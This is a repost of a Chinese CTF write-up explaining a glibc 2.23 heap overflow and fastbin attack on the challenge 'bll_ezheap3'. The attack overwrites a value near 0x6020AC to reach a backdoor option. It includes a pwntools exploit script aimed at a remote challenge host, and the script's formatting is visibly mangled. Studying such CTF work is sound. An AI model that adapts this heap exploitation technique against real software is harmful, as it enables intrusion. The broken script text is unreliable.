Edit堆溢出打fastbin任意地址修改

admin 2024年12月25日10:30:02评论9 views字数 1031阅读3分26秒阅读模式

题目

2024冬季个人挑战赛 bll_ezheap3

思路

2.23libc edit功能存在堆溢出

Edit堆溢出打fastbin任意地址修改

同时存在后门选项5

Edit堆溢出打fastbin任意地址修改

考虑将fastbin迁移到0x6020AC附近的地方,找一下0x7f对齐一下堆块大小就行,然后把该值改为小于0xff的值即可触发后门

调试

利用堆溢出成功控制fd指针

Edit堆溢出打fastbin任意地址修改

在往前0x1f的地方找到0x7f大小的位置

Edit堆溢出打fastbin任意地址修改

两次分配后将其内容全覆盖为0即可

Edit堆溢出打fastbin任意地址修改

代码

from pwn import *context(log_level ='debug', arch ='amd64', os ='linux')= remote('1.95.36.136'2111)#p=process('./pwn1')elf = ELF('./pwn1')def debug():    gdb.attach(p)    pause()def create(idx, size):    p.sendlineafter(b"choice:n", b"1")    p.sendlineafter(b"index:n", str(idx))    p.sendlineafter(b"size:n", str(size))def free(idx):    p.sendlineafter(b"choice:n", b"3")    p.sendlineafter(b'index:n',str(idx))def edit(idx, size, content):    p.sendlineafter(b"choice:n", b"2")    p.sendlineafter(b"index:n", str(idx))    p.sendlineafter(b"length:n", str(size))    p.sendafter(b"content:n", content)backdoor =0x6020ACcreate(0,0x10)create(1,0x68)create(2,0x68)free(1)payload = b'a'*0x10+p64(0)+p64(0x71)+p64(backdoor-0x1f)edit(0,len(payload),payload)create(1,0x68)create(3,0x68)edit(3,0x18,b'x00'*0x18)p.sendlineafter(b"choice:n", b"5")p.interactive()

Edit堆溢出打fastbin任意地址修改

原文始发于微信公众号(智佳网络安全):Edit堆溢出打fastbin任意地址修改

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年12月25日10:30:02
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Edit堆溢出打fastbin任意地址修改https://cn-sec.com/archives/3550104.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息